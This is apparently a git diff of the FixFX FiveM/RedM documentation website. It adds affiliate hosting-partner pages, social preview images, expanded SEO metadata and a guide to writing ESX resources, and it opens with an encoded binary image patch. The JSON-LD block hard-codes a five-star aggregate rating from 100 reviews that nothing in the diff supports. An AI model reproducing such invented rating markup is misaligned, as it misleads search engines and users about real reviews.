z7yx{-M}eBrYV=7{qQe_*eV`=d9sE6$?gz_@O{{ke8nxi)JwI)rv0K(Xgs;@@0)AeT zYz_Xc%B;2PVZ^*^owF?o0&H|W-(I#>bqPx2N5jSP914MTD8Quu2iW!))uZmi^C=+_ zj&<2@(`Y_j)Z^cW$Y}-5ldH9?%tE)@GyTGMgB^r8O)TUq2*RkWt^2!~V<*lOFOfr+ z)bm4|*S-Lcey=;ldR05p-+|cAC~O*91uE5sVD*VTYq)Rdd-c7PgqTK~&zf!t)MC|| z-{jP-*yw8D!zkC5jqHoh8d1 z<&tyCHF(^!l~#g{cPleM46}fXdLWLHM-T8J7W(1@g%;j&Hz;oF2`C;662r2W#Vc%Z z_R2?kqb%ufx}0XU_ryBo|kS4OGESC7t5o1AyL6G#M!nvFL+yl%HXP`PYZ z(W-AfKYegkKJ(cK(23p0g*DnOh?%rIzf8TVzUtHzF~e~HJ{ zO-fFQCiVK4l(ql$m-n!kd+Rrnog8orK(7{OKNK8eT4NrV#RWu-v5w)Wv{dSQ8pd6f zH;IVe00G?y|6iNU*>~61k5){3w_iJrby;P{}b20|!Urw)TK3|ZnR%>k(pUlm^ z#gZ<)YEpk{75{*MHM;KI#9ZcM;&4sW(=-S=u*S#pL6*u1*yW#KCu-eQ&u*ga;>QP4 z)+|R`a?U&5SR1{uI9Th!R@;Q*9^GZL6uG@&m?@F%5nk93?(z^!X{;z7V>8K1vUk!0#M6G%z76ZEKf19v z%94-71~er}ZjWkxuDJnbvzHKr+~KvxFp%m){0y{)znEC>4ZYVwWwWqbt|q8S)%g(w zAF=t>T&<2;s-#bw(vHN51^prXyEmHLw2Ll_+P8yh!Qj8PwCV5rQtCVS;%w=;llzbD z+0GCcTpu{GvdXB|C|H+GPm}t}rxB zB?XEIkHQFKITvCfWZ--oz=-j?KbuZPfIr`%m68`U44=&%9}KtEB^TmXUZhaLZGbw< z;<^uP=i5Pz!TBoZ!t7LTPcJm0-4^6UB&@)dKhMoD#dRLIA|FcR0EhEc>y3Tw>^3pQ zouZeS$dMFh{2`}%lhuNq6QP8W7gKUUxpB|V*<`GG%gtM?PP3!!pKFtER(EpMh?Xh6>Xjpnx z#dIb|MKRPC1(vvFpM|I-sXK$y@;aFL19GwQnas@Gtj=yngve=H_&+)8oc<{@YPLd2 z64^tc@NE0FCI7Ka{-30tU`eCw2Anf%J-2vp1cpxkh}0a0PSu!ulf8~M&_^MLmUmzf z>^`pRT+31jPnyo|>At$#1(T*fmU~07Pv^f+$pKZNaMhfi{{kqJ=dPv7Zp}i^qlX@Rgm&u{s`ZN)S!&7RXE=ZBu(Oe*}BqFI)wQ9LHJR<_n2~ zB?Vt*+?M-@Ljq9+o&*p6Z03rmbCZKk(jZy+_@4PI61-9Mgv6$#l z`+V`oE&D_Ox6TG*3gmSEyn{k-lNHUxfmcL+CO6W$4?O)>q4Pvz>`3Egj!*;6AgKh5VB=xeCG$7(z) zNa1%dYwM~QI;Cl|I8D_4VGfQLl6SMe<)MW#2d2;)bxo(^gt~6)m%uf>V+mL2g z`!xJGLnOYS7@l1?M!ohYJ+iyj@k~j#`8rsm4^T1Gc$Q4fZ}y(P-lI_0h#^{=%N|T( zK#2YDlm&$5Ex(a7b)HZDAd0f{ww6*iRTz%4dRj7!s-B;-sfj0MVH3ztxhZA|L%X+3 zhJsk1x^+3D5+4cpfl0;B(5XWfQ}zR5$=8;h*m+&a?KnPk9ooq0kx3ICyuOD0yV=nB((U`*sL`s1wVV zYbC+&NnjTE3l%DrLaBYgq4M3J5%H@+qzT4e9UG%UMf-sXZUOv`#yyZDoPd}F*najN zK@(&d^x46;wnZ%lvQ1d^r>~n6oEpQsBybp7XGj1f_h2-RS=z7{De12S)cD!(_Fp+h z%qN_;)OIH^*#e%4JQh#%$Q3Jg5oEx>U?aa%?I8ath}p+nP}D2~ z_s>V%AWn1Bpf>f~HGtr{-FXHE>$?yla&B0y;T#GWMn;a|JwYS#?)MiAe_N**eRB_z zWNu-`@StLWeS#U+`sM1gj@HdiV365cl;s>ty~kWPb_c$M`jNmva4k#uRSwJ|k^BUS z?1B6g$?W{C`?w(&#Y_nPB6NNek?98P`=cA|pp*X9gCUEXoE>Y;5#Ju)ZK6{v;FLtz z1Sh&L(cq0{S77-Dr(Pa z&xvaWqGa|E+476&zjvq~_Yk|_u`_xl@6Rq1Ufp358eJ`iP$e>eG(lhR@ACr6X@Rvw zsH8`;vTxUxpRR7ZNzxEYRoivIvKuobm}x~R0}vGm(1`#D(MWPLhIE9Xj|YINIMClh zREZrNi$Z(t7olb$pt`aHFAWwuzcYD~Yy>j5R~ZzDd4}5t*W_vjXO!{jdA^rq>+;y` z_xzv&7?h|(?6KM%L~GaCB8fd$Udd_7ISQoa0|VB$8Pbbkqw)oC~eiXHIbTl0n!av|uRJAiRKSMwMY>%r5Odh)PE0mf-vJle>W*Q-l zj&t846A{{4NY5cB7fzO|9M9Lo#UuT`%h5dwh-NFrKy@Avou%&90_3)q7@P&^ycUr5 zG#Vye1aac@7nwar-UQ+Nhc2QuD8)dvhpKaY7L|Hi1Et&XmVfn$EQFx22MD|n5REtm z*E;GvkYo5y42Ybc{9S{=bEL<{-_VI2t&ZSzoafZe)?kf^E}|eHZHkb1m%g9!utsjxJ9vCWG46CKXJn zOkNPA=i`41s*O*uYENMO#cuUr7L475q2i+1pNuU9nD8$(^T4D&4!IZRz;@%Q#L`kJoFpJ$y4)#%41Qwpwon1hpx8T=A>C8V%8kIAOFkbj4`>A_H3R zyvs^}5$Y)JO+l0sf4S! z9)N02*C+8T*t}rQI1=g_Z`n{(V^semysW9fHI&tG6zgObmg6Xg&rI8|F0Z4IRtx19 zUBkG|_UT0WH{dxhOHoQ}0NyLA4;edLrlB?@GFS+ z6B7%VWxZDX08ALDTYVGqrk}yZtA64)BX&F9*R9}za)?U5EA#N6YsaxoH-L|U!HLbq z5j=)j6n4}7H}E+$kp*1PG=7K= z{jb6NVvQzy8nsHjNHDA$1q*gDm+APcw1@9z;7dRMo=qoYl&bT<*V z1z8jxo>g3*d4;-(3>$fU*(hY#6y!FK#rZ#rep1BDW(jKxtKB=ec9;$X0|D{kuhj*m zmOvtCi{w=B5QH7;b<51&m_jBRyMvQI8f;)I_k(7q0J)5KgYf~prOjCeU}}g^Nk^AL zA42&Ag9={!(prYBH?d!iuOJi}g1@uS@4zS?`w*wNrSEtqqQlMyW)^LOJ)1~g`+y?PW zE+cQ9R09N}X5gAX{Tq1h@-)3{Cv2#jl9~ExI9ONXiu5L+>3qIpn?Wr9f`pZxZX|=* z%7h2xy%N8KQBnue;5FjdS7vEwSx|n{;V$|vbcT#}#y@2|lOt-C%zNQ4j$~i{_^wd; zs;0`Oa0cY)svZAFdnh$W$dp}w04Iu+N9ik?`X@9UBQC+G`Y1v3OKPXEr+{yOI%AYb zMajaPWD znY3C)mOr(dD*CJBltLtKKuh!iTjPUfcjK!(4p1mnnpl8B+{c>+cf1G>aVdLC?X8`)_4PP@RG48trJe_?`Df4oav-y%~n~^r#-C< z-Mz6X|HRvi)CU#%I7@nNS+$QOu}OL>s#|39L9dODfEpY`&NVn67m30ZJU6p}kF6N- zRIR}Zzj!Aj%xwi55l>QKO^J~;)hBJJl{#b-a)l7W70^j80|TQ3*dl9`m0VCVnyB~| z=QNjggCiIo+x}SzKq4 z^I=fUA9@~{)=#A=%rJ7ev%-Ma1mRf)g%x-^^$8q@+%BnLq5A)q_w4d@`zY1_r9u#1aR180<8VNLy^z2(2PAP`0OIn>bS|nbqk$tQ*;! z!nN3Iq@(5CHsYRCWni85-@j3kJL@u!6u%n$9WSs5p2%CA`(ehR`dZ{maHNj<_rw(Q zaYahZVihWuOOV4J`c7= zey2E8#z{c}m0WvPE4Fv=LPUoTVs9Tj_Tc!+N|j;(NC`-AlS zPY!i#fT=}9m{D&Op(>pi)9tSig?Fvrw>t1vIpg~W{9YcJXneni{v9tO=KgC|+uLer zNnK?be#w(Ttycbx@F%Kg0^7t1Q?`S1-Khfm9dB_2ReHy&B|yeB$nhktAVj^ykr>}~ zDW8q%Apc3>M*>$=Ww1+Vv`p7LIs6Y=bY2Oqh=xBC(aKVEa3yTc%IhVRKZ#<6R1UBd zfL8VA8`a4|&mwyhDrgMN5L)`J(n{2l;~@%DJ(=`5k?z?8so$^NBv{)I5g7g?#fD1$ z>b{LLyiF{dWmm~i^M{)~$qFD;_(q!uJ3SgGt%($ZJ{nN_r4e3+Sc{+}Zu0SImry2? z%E;0v!VosS0(2B!4g_KtJFK%OFe&aXRp+YVw^JA;7?iWFAmxP3K;hFLEuf`(9qgQ- zSCPSr6eWG1lX?$Lk#DX{$cKqCf@j&C5BDY|rgAt*1e*R!8(KgpCqFNS+v{&3wl+FR z$oixtO-cRT$|u7YR!a_ksm~-q7CG{)1!7Jn!87o@r*Yv+@o&I)2Wsv|k~=0NdJ89} zKhBzc&D5FFWIT)fdqGi8ERp45Q!*q8%ONmKhG(WU2@c!bID` zjQ<;kUOdZ^N>+F4Wp^szEC?hPQ-CL~Z#wz;3Z53!p`1#I2O~a|>{0|g=Z!Bb z&xH#AvENyY#BN$6(c=F#3nPRj4vB@MTgCV0f`SNROt5Isgl&Q*ZKjXTq1@f`T)84h z!wAXD$cXdsX1OZ0UC_`ejc@U83}M{5FZ*vVqA)Cd#@_8EsuFm##ypLvzcg80?AIX9wC1ugd^GE>z8!-!_bo-aNcK)C~lRr~FwkkWC|HFUb%EwL1#3?pBRM3L^(jb8} ze$?jH3pptzUr-FE{$+{52d&dw>UDngw_jz9To~Ss$T?@ENEs1gA!WF8neIMeMfF$8 zPG+20Dta8_ZW(pUO^;ED0mcnQ9`y}6PGN*S>YaXXIsiEj-O}POtR~KQm9XC(l9GXH z+x`2?%i>#Pg?)V}O85-ay>Udzb_@=(3&=~}F~`xrYsGlB!p0ih|84SLv7|_MC!yJX zHN@<8&hIBP_`V=nZuIT91T9rf3-@!sfn3Qy@GE~H-rP-}jSIm#RMH_PqK*7C4wuh% zplmdUN{1T)LiR$y|qNc>I?K*`abwJY8Aw0S%qBt|*KD}g19rkMT-gK~xVd47HRP5YsLXq3`Zd$d zH|`90RKEW~AY$)!G%U0*_JP-=FPk`Md{YgPljaQ_R-n$m6eUJDhOaTJk&C-;|>Eusl#i51|iL2cxt`c#Y(s~nG z;;2D~1Nl{yS5n>FAs3SDoDmHH|P8YYE>)}7(Vxk7I+ZwUeT_#5#RQH{YV z;~SABNq%&35b9ggTE!*mC*KDm!V-o*sivGCjT^verqL*US%LAwdj9AC2jQ6g5i(o} Q2><{907*qoM6N<$f;k{children}; +} diff --git a/app/hosting/opengraph-image.tsx b/app/hosting/opengraph-image.tsx new file mode 100644 index 0000000..aee9d41 --- /dev/null +++ b/app/hosting/opengraph-image.tsx @@ -0,0 +1,169 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; +export const alt = "FixFX Hosting Partners - Trusted Game Server Hosting"; +export const size = { + width: 1200, + height: 630, +}; + +export const contentType = "image/png"; + +export default function Image() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* Badge */} +
+
🤝
+ + Official Partners + +
+ + {/* Main title */} +
+ + Hosting Partners + +
+ + {/* Subtitle */} +

+ Trusted hosting providers for your{" "} + FiveM and{" "} + RedM servers +

+ + {/* Bottom indicators */} +
+
+
+ Exclusive Discounts +
+
+
+ High Performance +
+
+
+ 24/7 Support +
+
+
+ ), + { + ...size, + } + ); +} diff --git a/app/hosting/page.tsx b/app/hosting/page.tsx new file mode 100644 index 0000000..e392063 --- /dev/null +++ b/app/hosting/page.tsx @@ -0,0 +1,278 @@ +import Link from "next/link"; +import Image from "next/image"; +import { + Server, + Zap, + Shield, + Headphones, + ExternalLink, + Percent, + ChevronRight, + Handshake, + Cloud, +} from "lucide-react"; +import { getHostingProviders } from "@/lib/providers"; +import { ProviderCard } from "./provider-card"; + +export default async function HostingPage() { + const providers = await getHostingProviders(); + + // Calculate dynamic stats + const maxDiscount = providers.length > 0 + ? Math.max(...providers.map(p => p.discount.percentage)) + : 20; + + // Get first provider's links for CTA (fallback to ZAP-Hosting) + const firstProvider = providers[0]; + const fivemLink = firstProvider?.links.find(l => l.label.toLowerCase().includes("fivem"))?.url + || "https://zap-hosting.com/FixFXFiveM"; + const redmLink = firstProvider?.links.find(l => l.label.toLowerCase().includes("redm"))?.url + || "https://zap-hosting.com/FixFXRedM"; + const vpsLink = "https://zap-hosting.com/a/8d785f5b626ef6617320d4bca50a4e344c464437?voucher=FixFX-a-8909"; + return ( +
+ {/* Hero Section */} +
+ {/* Background effects */} +
+
+
+
+ +
+ {/* Breadcrumb */} + + +
+ {/* Badge */} +
+ + Trusted Partners +
+ + {/* Title */} +

+ Hosting{" "} + + Partners + +

+ + {/* Description */} +

+ We've partnered with the best game server hosting providers to bring you exclusive + discounts. Get your FiveM or RedM server up and running with trusted, high-performance hosting. +

+ + {/* Stats */} +
+
+

{maxDiscount}%+

+

Exclusive Discounts

+
+
+
+

24/7

+

Support Available

+
+
+
+

{providers.length}

+

Trusted Partners

+
+
+
+
+
+ + {/* Partners Grid */} +
+ {providers.length > 0 ? ( +
+ {providers.map((provider) => ( + + ))} +
+ ) : ( +
+
+ +
+

No Partners Yet

+

+ We're actively looking for hosting partners.{" "} + + Learn how to become a partner + +

+
+ )} +
+ + {/* Why Partner Section */} +
+
+

+ Why Use Our Partner Links? +

+
+
+
+ +
+

Exclusive Discounts

+

+ Get special pricing not available anywhere else. Our partner codes provide ongoing savings + for as long as you own your server. +

+
+
+
+ +
+

Vetted Providers

+

+ We only partner with hosting providers we trust and have personally tested. Quality and + reliability are our top priorities. +

+
+
+
+ +
+

Support FixFX

+

+ Using our partner links helps support the continued development of FixFX and keeps our + documentation free for everyone. +

+
+
+
+
+ + {/* CTA Section */} +
+
+ {/* Bottom Text */} +
+

+ By using our partner links, you support FixFX while getting exclusive discounts. Thank you for your support! +

+
+
+
+ + {/* Become a Partner Section */} +
+
+
+
+ {/* Header */} +
+
+ + Partnership Opportunity +
+

+ Want to Partner with FixFX? +

+

+ We're always looking for quality hosting providers who want to offer exclusive benefits to our community. +

+
+ + {/* Benefits Grid */} +
+
+
+ +
+

Reach Active Community

+

+ Connect with thousands of FiveM and RedM server owners +

+
+
+
+ +
+

Build Trust

+

+ Showcase your reliability and commitment to quality +

+
+
+
+ +
+

Tracked Attribution

+

+ Use affiliate links to track conversions and ROI +

+
+
+ + {/* Guidelines Preview */} +
+

Partnership Requirements

+
+

+ + FiveM and/or RedM server hosting support +

+

+ + 99.6%+ uptime with responsive 24/7 support +

+

+ + Exclusive discount or special offer for FixFX users +

+

+ + Affiliate/referral links for tracking +

+
+
+ + {/* CTA Buttons */} +
+ + + View Partnership Guidelines + + + + Ask on Discord + + +
+ + {/* Footer Note */} +

+ We review all partnership applications within 3-5 business days. + FixFX reserves the right to accept or decline requests at our discretion. +

+
+
+
+
+
+ ); +} diff --git a/app/hosting/provider-card.tsx b/app/hosting/provider-card.tsx new file mode 100644 index 0000000..7e4064e --- /dev/null +++ b/app/hosting/provider-card.tsx @@ -0,0 +1,148 @@ +"use client"; + +import { useState } from "react"; +import Link from "next/link"; +import { + Server, + Zap, + Shield, + Copy, + Check, + ExternalLink, + Percent, + Clock, + Globe, +} from "lucide-react"; +import { cn } from "@/app/lib/utils"; +import type { HostingProvider } from "@/lib/providers"; + +function CopyButton({ text, className }: { text: string; className?: string }) { + const [copied, setCopied] = useState(false); + + const handleCopy = () => { + navigator.clipboard.writeText(text); + setCopied(true); + setTimeout(() => setCopied(false), 2000); + }; + + return ( + + ); +} + +export function ProviderCard({ provider }: { provider: HostingProvider }) { + return ( +
+ {/* Highlight badge */} + {provider.highlight && ( +
+ + + {provider.highlight} + +
+ )} + + {/* Header */} +
+
+
+ +
+
+

{provider.name}

+

+ {provider.description} +

+
+
+
+ + {/* Discount section */} +
+
+
+
+ +
+
+

{provider.discount.percentage}% OFF

+
+ + {provider.discount.duration} +
+
+
+
+ + {provider.discount.code} + + +
+
+
+ + {/* Links */} +
+

+ + Quick Links +

+
+ {provider.links.map((link) => ( + +
+

+ {link.label} +

+

{link.description}

+
+ + + ))} +
+
+ + {/* Features */} +
+

+ + Features Included +

+
+ {provider.features.map((feature) => ( +
+ + {feature} +
+ ))} +
+
+
+ ); +} diff --git a/app/hosting/twitter-image.tsx b/app/hosting/twitter-image.tsx new file mode 100644 index 0000000..aee9d41 --- /dev/null +++ b/app/hosting/twitter-image.tsx @@ -0,0 +1,169 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; +export const alt = "FixFX Hosting Partners - Trusted Game Server Hosting"; +export const size = { + width: 1200, + height: 630, +}; + +export const contentType = "image/png"; + +export default function Image() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* Badge */} +
+
🤝
+ + Official Partners + +
+ + {/* Main title */} +
+ + Hosting Partners + +
+ + {/* Subtitle */} +

+ Trusted hosting providers for your{" "} + FiveM and{" "} + RedM servers +

+ + {/* Bottom indicators */} +
+
+
+ Exclusive Discounts +
+
+
+ High Performance +
+
+
+ 24/7 Support +
+
+
+ ), + { + ...size, + } + ); +} diff --git a/app/icon.tsx b/app/icon.tsx new file mode 100644 index 0000000..c76e854 --- /dev/null +++ b/app/icon.tsx @@ -0,0 +1,90 @@ +import { ImageResponse } from "next/og"; + +export const runtime = "nodejs"; +export const size = { + width: 512, + height: 512, +}; + +export const contentType = "image/png"; + +export default function Icon() { + return new ImageResponse( + ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* FixFX Icon */} + + {/* First path */} + + + {/* Second path */} + + +
+ ), + { + ...size, + } + ); +} diff --git a/app/layout.config.tsx b/app/layout.config.tsx index 5257557..acdf423 100644 --- a/app/layout.config.tsx +++ b/app/layout.config.tsx @@ -2,7 +2,7 @@ import type { HomeLayoutProps } from "fumadocs-ui/layouts/home"; import { GITHUB_LINK, DISCORD_LINK } from "@/packages/utils/src"; import { FixFXIcon } from "@ui/icons"; import { FaDiscord } from "react-icons/fa"; -import { Gamepad, Home, PlugZap, LogsIcon, Bot } from "lucide-react"; +import { Gamepad, Home, PlugZap, LogsIcon, Bot, X } from "lucide-react"; export const baseOptions: HomeLayoutProps = { disableThemeSwitch: true, @@ -18,10 +18,16 @@ export const baseOptions: HomeLayoutProps = { links: [ { type: "icon", - text: "", + text: "Discord", icon: , url: "https://discord.gg/Vv2bdC44Ge", }, + { + type: "icon", + text: "Twitter/X", + icon: , + url: "https://twitter.com/FixFXWiki", + }, { type: "main", text: "Home", diff --git a/app/layout.tsx b/app/layout.tsx index 938bb83..c48a9ac 100644 --- a/app/layout.tsx +++ b/app/layout.tsx @@ -1,16 +1,33 @@ -import { Banner } from 'fumadocs-ui/components/banner'; import { RootProvider } from "fumadocs-ui/provider"; import { Analytics } from "@vercel/analytics/react"; import Script from "next/script"; import { inter, jetbrains } from "@/lib/fonts"; import { keywords } from "@utils/index"; -import '@/styles/sheet-handle.css'; import type { ReactNode } from "react"; -import type { Metadata } from "next"; +import type { Metadata, Viewport } from "next"; import "@ui/styles"; +export const viewport: Viewport = { + themeColor: [ + { media: "(prefers-color-scheme: light)", color: "#ffffff" }, + { media: "(prefers-color-scheme: dark)", color: "#0a0a0a" }, + ], + width: "device-width", + initialScale: 1, + maximumScale: 5, +}; + export const metadata: Metadata = { metadataBase: new URL("https://fixfx.wiki"), + + /** Canonical & Alternates */ + alternates: { + canonical: "https://fixfx.wiki", + languages: { + "en-US": "https://fixfx.wiki", + }, + }, + /** OpenGraph */ openGraph: { type: "website", @@ -18,20 +35,31 @@ export const metadata: Metadata = { url: "https://fixfx.wiki", locale: "en_US", creators: ["@CodeMeAPixel"], - description: "Comprehensive guides and information for the CitizenFX ecosystem.", + title: "FixFX - FiveM & RedM Documentation Hub", + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", + images: [ + { + url: "/opengraph-image.png", + width: 1200, + height: 630, + alt: "FixFX - Your FiveM & RedM Resource Hub", + }, + ], }, twitter: { - title: "FixFX", + title: "FixFX - FiveM & RedM Documentation Hub", card: "summary_large_image", creator: "@CodeMeAPixel", - site: "https://fixfx.wiki", - description: "Comprehensive guides and information for the CitizenFX ecosystem.", + site: "@FixFXWiki", + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + images: ["/twitter-image.png"], }, /** OpenGraph */ /** PWA */ applicationName: "FixFX", appleWebApp: { + capable: true, statusBarStyle: "default", title: "FixFX", }, @@ -40,36 +68,56 @@ export const metadata: Metadata = { }, formatDetection: { telephone: false, + email: false, + address: false, }, /** PWA */ title: { - default: "FixFX", + default: "FixFX - FiveM & RedM Documentation Hub", template: "%s | FixFX", }, - description: "Comprehensive guides and information for the CitizenFX ecosystem.", - creator: "@CodeMeAPixel", - authors: { - url: "https://github.com/CodeMeAPixel", - name: "Pixelated", - }, + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem. Your one-stop resource for server development.", + creator: "CodeMeAPixel", + publisher: "FixFX", + authors: [ + { + url: "https://github.com/CodeMeAPixel", + name: "Pixelated", + }, + ], keywords: keywords, + category: "Documentation", - /** Icons */ + /** Icons */ icons: { - icon: "/favicon.ico", + icon: [ + { url: "/favicon.ico", sizes: "any" }, + { url: "/favicon-16x16.png", sizes: "16x16", type: "image/png" }, + { url: "/favicon-32x32.png", sizes: "32x32", type: "image/png" }, + ], shortcut: "/favicon.ico", - apple: "/apple-touch-icon.png", + apple: [ + { url: "/apple-touch-icon.png", sizes: "180x180", type: "image/png" }, + ], + other: [ + { + rel: "mask-icon", + url: "/logo.png", + }, + ], }, - /** Icons */ + /** Icons */ /** Robots */ robots: { index: true, follow: true, + nocache: false, googleBot: { index: true, follow: true, + noimageindex: false, "max-video-preview": -1, "max-image-preview": "large", "max-snippet": -1, @@ -77,15 +125,139 @@ export const metadata: Metadata = { }, verification: { google: process.env.GOOGLE_VERIFICATION_CODE ?? undefined, + yandex: process.env.YANDEX_VERIFICATION_CODE ?? undefined, + other: { + "msvalidate.01": process.env.BING_VERIFICATION_CODE ?? "", + }, }, /** Robots */ }; +// JSON-LD Structured Data for SEO +const websiteJsonLd = { + "@context": "https://schema.org", + "@type": "WebSite", + name: "FixFX", + alternateName: ["FixFX Wiki", "FixFX Documentation"], + url: "https://fixfx.wiki", + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + inLanguage: "en-US", + publisher: { + "@type": "Organization", + name: "FixFX", + logo: { + "@type": "ImageObject", + url: "https://fixfx.wiki/logo.png", + width: 512, + height: 512, + }, + }, + potentialAction: { + "@type": "SearchAction", + target: { + "@type": "EntryPoint", + urlTemplate: "https://fixfx.wiki/docs?search={search_term_string}", + }, + "query-input": "required name=search_term_string", + }, + sameAs: [ + "https://github.com/CodeMeAPixel/FixFX", + "https://discord.gg/fixfx", + ], +}; + +const organizationJsonLd = { + "@context": "https://schema.org", + "@type": "Organization", + name: "FixFX", + url: "https://fixfx.wiki", + logo: "https://fixfx.wiki/logo.png", + description: "Documentation hub for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + foundingDate: "2024", + sameAs: [ + "https://github.com/CodeMeAPixel/FixFX", + "https://discord.gg/fixfx", + ], + contactPoint: { + "@type": "ContactPoint", + contactType: "technical support", + url: "https://github.com/CodeMeAPixel/FixFX/issues", + }, +}; + +const softwareJsonLd = { + "@context": "https://schema.org", + "@type": "SoftwareApplication", + name: "FixFX Documentation", + applicationCategory: "DeveloperApplication", + operatingSystem: "Web", + offers: { + "@type": "Offer", + price: "0", + priceCurrency: "USD", + }, + aggregateRating: { + "@type": "AggregateRating", + ratingValue: "5", + ratingCount: "100", + bestRating: "5", + worstRating: "1", + }, +}; + +const jsonLd = [websiteJsonLd, organizationJsonLd, softwareJsonLd]; + export default function Layout({ children, }: Readonly<{ children: ReactNode }>) { return ( - + + + {/* JSON-LD Structured Data */} + - - - - - - -``` - -```css -/* html/style.css */ -* { - margin: 0; - padding: 0; - box-sizing: border-box; -} - -body { - font-family: 'Arial', sans-serif; - background: transparent; - color: white; -} - -#container { - position: absolute; - top: 50%; - left: 50%; - transform: translate(-50%, -50%); - width: 600px; - height: 400px; - background: rgba(0, 0, 0, 0.9); - border-radius: 10px; - border: 1px solid #333; -} - -#header { - display: flex; - justify-content: space-between; - align-items: center; - padding: 20px; - border-bottom: 1px solid #333; -} - -#close-btn { - background: #ff4757; - color: white; - border: none; - border-radius: 50%; - width: 30px; - height: 30px; - cursor: pointer; - font-size: 16px; -} - -#content { - padding: 20px; -} -``` - -```javascript -// html/script.js -$(document).ready(function() { - // Hide UI on ESC key - document.onkeyup = function(data) { - if (data.which == 27) { - closeUI(); - } - } - - // Close button click - $('#close-btn').click(function() { - closeUI(); - }); - - // Listen for messages from Lua - window.addEventListener('message', function(event) { - const data = event.data; - - switch(data.action) { - case 'open': - openUI(data.data); - break; - case 'close': - closeUI(); - break; - case 'updateData': - updateUI(data.data); - break; - } - }); -}); - -function openUI(data) { - $('#container').fadeIn(300); - $.post('https://esx_myresource/uiLoaded', JSON.stringify({})); -} - -function closeUI() { - $('#container').fadeOut(300); - $.post('https://esx_myresource/closeUI', JSON.stringify({})); -} - -function updateUI(data) { - // Update UI with new data -} -``` - -### Lua NUI Integration - -```lua --- Client-side NUI management -local isUIOpen = false - --- Open UI -function OpenUI(data) - if isUIOpen then return end - - isUIOpen = true - SetNuiFocus(true, true) - SendNUIMessage({ - action = 'open', - data = data - }) -end - --- Close UI -function CloseUI() - if not isUIOpen then return end - - isUIOpen = false - SetNuiFocus(false, false) - SendNUIMessage({ - action = 'close' - }) -end - --- NUI Callbacks -RegisterNUICallback('uiLoaded', function(data, cb) - -- UI has loaded - cb('ok') -end) - -RegisterNUICallback('closeUI', function(data, cb) - CloseUI() - cb('ok') -end) - --- Export functions for other resources -exports('OpenUI', OpenUI) -exports('CloseUI', CloseUI) -``` - -## Event System - -### Custom Events - -```lua --- Server-side events -RegisterNetEvent('esx_myresource:doSomething', function(data) - local xPlayer = ESX.GetPlayerFromId(source) - - if not xPlayer then return end - - -- Validate data - if not data or not data.value then - return - end - - -- Process request - local success = processRequest(xPlayer, data) - - -- Send response - TriggerClientEvent('esx_myresource:requestResult', source, success) -end) - --- Client-side events -RegisterNetEvent('esx_myresource:requestResult', function(success) - if success then - ESX.ShowNotification('Request successful!') - else - ESX.ShowNotification('Request failed!', 'error') - end -end) -``` - -### Callbacks - -```lua --- Server-side callback -ESX.RegisterServerCallback('esx_myresource:getData', function(source, cb, playerId) - local xPlayer = ESX.GetPlayerFromId(playerId) - if xPlayer then - cb(xPlayer) - else - cb(false) - end -end) - --- Client-side callback usage -ESX.TriggerServerCallback('esx_myresource:getData', function(playerData) - if playerData then - -- Use player data - end -end, GetPlayerServerId(PlayerId())) -``` - -## Commands - -### Creating Commands - -```lua --- Server-side command with ESX integration -RegisterCommand('givemoney', function(source, args, rawCommand) - local xPlayer = ESX.GetPlayerFromId(source) - if not xPlayer then return end - - -- Check permissions - if xPlayer.getGroup() ~= 'admin' then - xPlayer.showNotification('You need admin permissions', 'error') - return - end - - local targetId = tonumber(args[1]) - local amount = tonumber(args[2]) - - if not targetId or not amount then - xPlayer.showNotification('Usage: /givemoney [id] [amount]', 'error') - return - end - - local xTarget = ESX.GetPlayerFromId(targetId) - if not xTarget then - xPlayer.showNotification('Player not found', 'error') - return - end - - xTarget.addMoney(amount) - xPlayer.showNotification('Money given successfully') - xTarget.showNotification('You received $' .. amount) -end, false) - --- Client-side command -RegisterCommand('showjob', function(source, args, rawCommand) - local playerData = ESX.GetPlayerData() - ESX.ShowNotification('Your job: ' .. playerData.job.label .. ' - Grade: ' .. playerData.job.grade_label) -end, false) -``` - -## Configuration Management - -### config.lua Template - -```lua -Config = {} -Config.Locale = 'en' - --- General settings -Config.Debug = false - --- Feature toggles -Config.EnableFeatureA = true -Config.EnableFeatureB = false - --- Timing settings -Config.Cooldowns = { - action1 = 5000, -- 5 seconds - action2 = 30000, -- 30 seconds -} - --- Job permissions -Config.AuthorizedJobs = { - 'police', - 'ambulance', - 'mechanic' -} - -Config.JobPermissions = { - mechanic = { - repair = 0, -- Grade 0+ - advanced = 2, -- Grade 2+ - boss = 3 -- Grade 3+ - }, - police = { - arrest = 0, - impound = 1, - commander = 3 - } -} - --- Locations -Config.Locations = { - mechanic_shop = { - coords = vector3(123.45, 678.90, 12.34), - heading = 90.0, - radius = 2.0, - blip = { - sprite = 446, - color = 2, - scale = 0.8, - name = "Mechanic Shop" - } - } -} - --- Items and pricing -Config.Items = { - repair_kit = { - item = 'repair_kit', - price = 500, - label = 'Repair Kit' - } -} - --- Money settings -Config.Prices = { - repair = 1000, - paint = 500 -} -``` - -## Localization - -### Locale Files - -```lua --- locales/en.lua -Locales['en'] = { - -- Notifications - ['not_enough_money'] = 'You don\'t have enough money', - ['action_completed'] = 'Action completed successfully', - ['invalid_amount'] = 'Invalid amount', - - -- Jobs - ['job_mechanic'] = 'Mechanic', - ['job_police'] = 'Police Officer', - - -- Items - ['item_repair_kit'] = 'Repair Kit', - ['item_used'] = 'You used %s', - - -- Commands - ['command_usage'] = 'Usage: %s', - ['player_not_found'] = 'Player not found', - ['no_permission'] = 'You don\'t have permission', -} -``` - -```lua --- locales/es.lua -Locales['es'] = { - -- Notifications - ['not_enough_money'] = 'No tienes suficiente dinero', - ['action_completed'] = 'Acción completada exitosamente', - ['invalid_amount'] = 'Cantidad inválida', - - -- Jobs - ['job_mechanic'] = 'Mecánico', - ['job_police'] = 'Oficial de Policía', 